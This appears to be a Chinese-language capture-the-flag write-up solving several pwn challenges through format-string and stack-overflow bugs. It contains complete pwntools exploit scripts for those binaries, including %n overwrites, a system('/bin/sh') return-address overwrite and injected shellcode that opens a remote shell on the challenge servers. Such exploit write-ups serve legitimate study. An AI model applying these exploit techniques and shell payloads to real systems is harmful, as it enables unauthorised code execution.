- status: updated.
CGFsb
前面的那一道get_shell的题算是做pwn题的一般流程:下载文件,ida查看代码,分析漏洞,利用漏洞写出exp,最常用的是用到python的pwntools,然后使用nc或者pwntools连接到虚拟场景实现漏洞攻击得到flag。
本题的思路基本一致,使用pwntools编写漏洞利用脚本,这里的漏洞是格式化字符串漏洞,文章分享:https://www.cnblogs.com/ichunqiu/p/9329387.html。
ida分析,只有当pwnme这个变量的值为8的时候才可以输出flag:
pwnme这个变量处于.bss段,是一个全局变量。
而比较的前面调用了printf函数,可以看到参数就只有一个即就是你留下的message的地址:
所以可以通过格式化字符串漏洞使用%n格式修改任意地址内容,%n是一个不经常用到的格式符,其作用是把前面已经打印的长度写入某个内存地址中去。
使用ida查看call printf的地址:
使用gdb在该地址处设置断点,输入任意数据,确定message最后存入的是栈中的第几个参数:
由上图可知,输入的message“aaaa”存放在栈中第11(编写脚本的时候从0开始,所以应该是10 )个参数处。
使用ida查看pwnme变量的地址:
编写脚本,(并不是完全独立编写出来的):
remote函数是连接到远程服务器进行漏洞利用,recvuntil函数顾名思义就是等待服务器返回参数中的字符串后再执行后续操作,sendline就是向服务器发送一行数据,也就是我们的payload,最后打印出返回来的结果。
脚本执行情况:
至于为什么要打印两次,是因为成功后会输出两次数据,一次是提示成功,一次是flag:
关于评论区的问题
很多人都在问这道题的exp是怎么构造的,大伙有点不懂,说实话,我当初做的时候也是有点似懂非懂,不过现在我应该可以给你们讲清楚了,果然格式化字符串要比栈溢出难。
这道题的关键是要修改全局变量pwnme的内容,而从CTF-wiki上总结的格式化字符串我们可以知道:
%n$
:表示的是获取格式化字符串中的指定参数,n表示第几个,上面的exp中就是指10$
,即获取栈上的第11个参数。
%n
:不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
另外还有wiki百科上面的解释:
n是用这个格式说明符(specifier)显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。 如果任意一个占位符使用了parameter,则其他所有占位符必须也使用parameter。这是POSIX扩展,不属于ISO C。例:
printf("%2$d %2$#x; %1$d %1$#x",16,17)
产生"17 0x11; 16 0x10"
再来看一下调试的结果:
gdb-peda$ r
Starting program: /home/pwn/Documents/0110/5982010c172744c8a1c93c24b5200b21
please tell me your name:
abcd
leave your message please:
aaaa
hello abcd
your message is:
[----------------------------------registers-----------------------------------]
EAX: 0xffffce68 ("aaaa\n")
EBX: 0xffffce68 ("aaaa\n")
ECX: 0xffffffff
EDX: 0xf7fb7870 --> 0x0
ESI: 0xf7fb6000 --> 0x1b1db0
EDI: 0xffffcecc --> 0x59bf0a00
EBP: 0xffffcee8 --> 0x0
ESP: 0xffffce40 --> 0xffffce68 ("aaaa\n")
EIP: 0x80486cd (<main+256>: call 0x8048460 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80486c1 <main+244>: call 0x8048490 <puts@plt>
0x80486c6 <main+249>: lea eax,[esp+0x28]
0x80486ca <main+253>: mov DWORD PTR [esp],eax
=> 0x80486cd <main+256>: call 0x8048460 <printf@plt>
0x80486d2 <main+261>: mov eax,ds:0x804a068
0x80486d7 <main+266>: cmp eax,0x8
0x80486da <main+269>: jne 0x80486f6 <main+297>
0x80486dc <main+271>: mov DWORD PTR [esp],0x8048810
Guessed arguments:
arg[0]: 0xffffce68 ("aaaa\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffce40 --> 0xffffce68 ("aaaa\n")
0004| 0xffffce44 --> 0xffffce5e ("abcd\n")
0008| 0xffffce48 --> 0xf7fb65a0 --> 0xfbad208b
0012| 0xffffce4c --> 0xf0b5ff
0016| 0xffffce50 --> 0xffffce8e --> 0x0
0020| 0xffffce54 --> 0x1
0024| 0xffffce58 --> 0xc2
0028| 0xffffce5c --> 0x626146bb
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080486cd in main ()
gdb-peda$ x/16wx $esp
0xffffce40: 0xffffce68 0xffffce5e 0xf7fb65a0 0x00f0b5ff
0xffffce50: 0xffffce8e 0x00000001 0x000000c2 0x626146bb
0xffffce60: 0x000a6463 0x00000000 0x61616161 0x0000000a
0xffffce70: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$
输入的name(abcd-0x61626364)是在栈上的第8个参数的高位双字节和第9个参数的低位双字节,而输入的message(aaaa-0x61616161)则是在第11个参数上,对应到格式化字符指定的参数则为第10个,因为printf函数的第一个参数是格式化字符串,后面的才是格式化字符指定的参数,前面说错了。
从IDA中的代码来看:
显然在message上构造exp更好一点,因为name限制了输入的长度只有0xA,而message则有0x64。
我们再来看%n
的作用,如果我们在message中输入了%n:
在0x80486cd断下之后,查看栈的内容:
栈顶第一个参数(指针)指向的是输入的message,第二个指向的则是name,单步步过之后:
原来指向name的地址的值变为了4,即就是前面已经输出的aaaa的字符个数,正常的printf是这样的printf("aaaa%n\n", 0xffffce5e );
,修改的就是后面的地址处的值。
结合前面%n$
的作用,如果我们这样构造printf("aaaaaaaa%10$n");
,就可以把8写入栈上的第11个参数所指向的地址去,而前面我们通过调试知道message的内容是从栈上第11个参数开始的,所以我们可以通过pwntools的p32(0x804a068)把pwnme的地址写入message的前4个字节中,然后再加上任意4个字节构成8个字节(之前回复评论区的一个同学也说错了,抱歉),使用10$
取出pwnme的地址,使用%n
将前面输出的字符的个数写入pwnme。所以payload为p32(0x804a068) + 'aaaa%10$n'
,完整的exp:
#!/usr/bin/python
from pwn import *
p = remote('111.198.29.45', 46610)
pwnme_addr = 0x804a068
name = 'ebrnasda'
payload = p32(pwnme_addr) + "aaaa%10$n"
p.recvuntil("please tell me your name:")
p.sendline(name)
p.recvuntil("leave your message please:")
p.sendline(payload)
p.interactive() #this line will make you enter the interactive mode, so you can receive all data bewteen client and server
看懂了的话最好了!
when_did_you_born
这是一道很简单的栈溢出的题,当然首先你得懂函数调用时栈的原理,你还得学会通过pwntools编写简单的Python脚本,还得懂点Linux运行的机制、懂点IDA。
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
载入IDA,F5反编译得到伪C代码:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax
char name; // [rsp+0h] [rbp-20h]
unsigned int input_birth; // [rsp+8h] [rbp-18h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("What's Your Birth?");
__isoc99_scanf("%d", &input_birth);
while ( getchar() != 10 )
;
if ( input_birth == 1926 )
{
puts("You Cannot Born In 1926!");
result = 0LL;
}
else
{
puts("What's Your Name?");
gets((__int64)&name); // stack overflow here
printf("You Are Born In %d\n", input_birth);
if ( input_birth == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
}
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");
}
result = 0LL;
}
return result;
}
从上面的代码我们知道我们需要输入birth和name来校验,从system("cat flag");
这一句来看,我们输入的birth要为1926,但是前面的判断又限制birth不能为1926。那么如何绕过呢?
可以看到gets(&name);
这一句,gets函数以回车符号作为结束符来判断,于是我们就可以写入诸如'\x00'
之类的不正常数据/不可见字符来达到我们的目的。
查看name与input_birth在栈上的距离:
name与input_birth相差了8个字节,而且input_birth的地址高于name,所以我们可以在第一次输入birth时输入非1926的数,然后在输入name时通过覆盖input_birth地址处的内容为1926来使得判断input_birth == 1926
成立。
脚本
#!/bin/usr/python2
#author:spwpun
from pwn import *
p = remote('111.198.29.45', 48502)
# p = process('born')
birth = "1927"
name = "aaaaaaaa"+ p32(0x00000786)
p.recvuntil("What's Your Birth?")
p.sendline(birth)
p.recvuntil("What's Your Name?")
p.sendline(name)
print p.recv()
print p.recv()
print p.recv()
脚本基本上和上一题的一样,不过这次是自己写的了。
备注:
pwntools要在Python2上使用,不知道为啥我用Python3不行,也不想纠结了,之前看了《0day:软件安全漏洞》,通过对一个Windows的程序仔细调试,终于明白了栈溢出的原理了。
cgpwn2
同样是一道栈溢出的题,最近都是栈溢出,ret2libc之类的,打算彻底吃透吧!看了很多ctf-wiki上的例子,收获良多,gdb的调试技巧,内存查看也掌握了。
目的:
栈溢出,覆盖返回地址,构造system('/bin/sh');
获取shell。
溢出点:
s
变量离ebp
有0x26
的距离:
要覆盖返回地址,s变量前面首先就要填充0x26+4
个字节,额外的4个字节覆盖了ebp。
构造shell:
system
函数地址:程序的导入表里直接有,可以直接使用。
/bin/sh
字符串:ida中并没有搜索到,但是看到有这样一个函数pwn
:
pwn函数直接调用了system函数,command是一个全局变量。
我以为自己可以通过gets函数修改command的内容为/bin/sh
,然后再调用pwn函数执行就可以得到shell,结果调试了大半天,一直报段错误。后来突然意识到,command
能不能写入呢,看了一下它所在的段(rodata
),没有马上意识过来,去问了一下大佬们,果然不能,那我用gets写个毛啊!每天都在感叹自己的菜,我好难啊!
然后重新看到漏洞函数中有一个先让你输入name的提示:
name变量处于bss段,ida中也是可以直接查看段的读写权限的,我快哭晕了~~
这样,我们可以将/bin/sh
作为name发送,然后让其作为参数传入system函数中去。这样一看,那个pwn函数就是特地给你挖好的坑,而我还死死地跳了进去,还以为自己能撞破墙壁呢!太天真了。
exp:
#!/usr/bin/env python
from pwn import *
libc = ELF('./cgpwn2')
DEBUG = 0
local_test = 0
if local_test == 1:
sh = process('./cgpwn2')
else:
sh = remote('111.198.29.45', 42816)
if DEBUG == 1:
context.log_level = 'debug'
gdb.attach(sh)
fgets_plt = libc.symbols['fgets']
system_plt = libc.symbols['system']
command = 0x804a080
payload = flat(['a'*0x26, 'b'*4, system_plt, 0xdeadbeef, command])
sh.recvuntil("name\n")
sh.sendline("/bin/sh")
sh.recvuntil('hello,you can leave some message here:')
sh.sendline(payload)
sh.interactive()
strings
这个题是一个格式化字符串漏洞的题,弄懂了这个题,对格式化字符串漏洞的理解有很大帮助。
程序首先通过malloc分配了一个8字节的空间,在前4个字节上放了数据64
,也就是大写字符D
,后四个字节放了85
,也就是大写字符U
,在经过一系列创建角色,选择方向,选择去留之后,会来一个判断这两个地方的值是否一样的地方,如果值一样,就通过mmap
分配一段空间,然后读入数据,将这部分数据作为代码执行。
然后发现格式化字符串漏洞在这儿,于是就可以通过漏洞将这两个地方的值改为一致的,然后再将获取shell的shellcode放在上面读入的这个地方就可以了:
from pwn import *
elf = ELF("./format_strings")
p = remote("220.249.52.133" ,48163)
#p = process("./format_strings")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.sh())
p.recvuntil("you two secret ...\n")
sec1 = int("0x" + p.recvline().split(" ")[-1], 16)
sec2 = int("0x" + p.recvline().split(" ")[-1], 16)
print hex(sec1),hex(sec2)
p.recvuntil("What should your character's name be:\n")
p.sendline("spw")
p.recvuntil("So, where you will go?east or up?:\n")
p.sendline("east")
# offset = 7 on stack
p.recvuntil("go into there(1), or leave(0)?:\n")
p.sendline("1")
p.recvuntil("'Give me an address'\n")
p.sendline(str(sec1))
p.recvuntil("And, you wish is:\n")
payload="%085d%7$n" #%085d 代表前面已经输出了85个字符, 7$ 代表要修改数据的地址在栈上距rbp为7(7*0x8)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
Level3
ret2libc的题,泄露write函数地址,减去libc中write函数的地址得到libc基地址,然后根据偏移就可以找到system函数的地址和字符串“/bin/sh”的地址。需要两次利用漏洞函数。